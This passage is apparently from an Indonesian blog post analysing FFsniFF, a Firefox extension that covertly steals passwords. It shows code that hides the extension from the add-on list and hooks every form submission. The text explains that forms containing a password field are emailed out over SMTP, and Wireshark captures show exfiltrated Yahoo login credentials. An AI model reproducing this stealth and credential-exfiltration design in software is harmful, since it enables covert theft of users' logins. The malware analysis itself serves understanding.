var target = extensionDS.GetTarget(element, nameArc, true); if (target) { name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value; if (name == "FFsniFF") { Container.RemoveElement(element, true); } } } } if (enable_hide == "yes") { hide_me(); } window.addEventListener("submit", do_sniff, false);

Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.
how ffsniff works
Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas. Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email. Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

220-mx1.mail.plasa.com ESMTP 220 UBE, porn, and abusive content not allowed EHLO telkom.net 250-mx1.mail.plasa.com 250-8BITMIME 250 SIZE 20971520 MAIL FROM: <rizki.wicaksono@telkom.net> 250 sender <rizki.wicaksono@telkom.net> ok RCPT TO: <rizki.wicaksono@telkom.net> 250 recipient <rizki.wicaksono@telkom.net> ok DATA 354 go ahead Subject: Log Firefox Sniffer   https://login.yahoo.com/config/login? type:name:value --------------- hidden:.tries:2 hidden:.intl:us hidden:.u:6220o3t4qrv31 hidden:.v:0 hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_ hidden:hasMsgr:0 hidden:.chkP:Y hidden:.done:http://my.yahoo.com hidden:.pd:_ver=0&c=&ivt=&sg= text:login:rizkiwicaksono password:passwd:inipasswordku checkbox:.persistent:y submit:.save:Sign In . 250 ok: Message 119895912 accepted 221 mx1.mail.plasa.com QUIT

Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:

220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
EHLO ilmuhacking.com
250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
250-SIZE 52428800
250-PIPELINING
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP
MAIL FROM: <testing@ilmuhacking.com>
250 OK
RCPT TO: <testing@ilmuhacking.com>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Subject: Log Firefox Sniffer
 

https://login.yahoo.com/config/login?

type:name:value
---------------
hidden:.tries:1
hidden:.intl:us
hidden:.u:eljvtc94qs023
hidden:.v:0
hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
hidden:hasMsgr:0
hidden:.chkP:Y
hidden:.done:http://my.yahoo.com
hidden:.pd:_ver=0&c=&ivt=&sg=
text:login:rizkiwicaksono
password:passwd:inipasswordakujuga
checkbox:.persistent:y
submit:.save:Sign In
.
250 OK id=1LeiW6-0002zu-LA
QUIT
221 gator669.hostgator.com closing connection

Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password.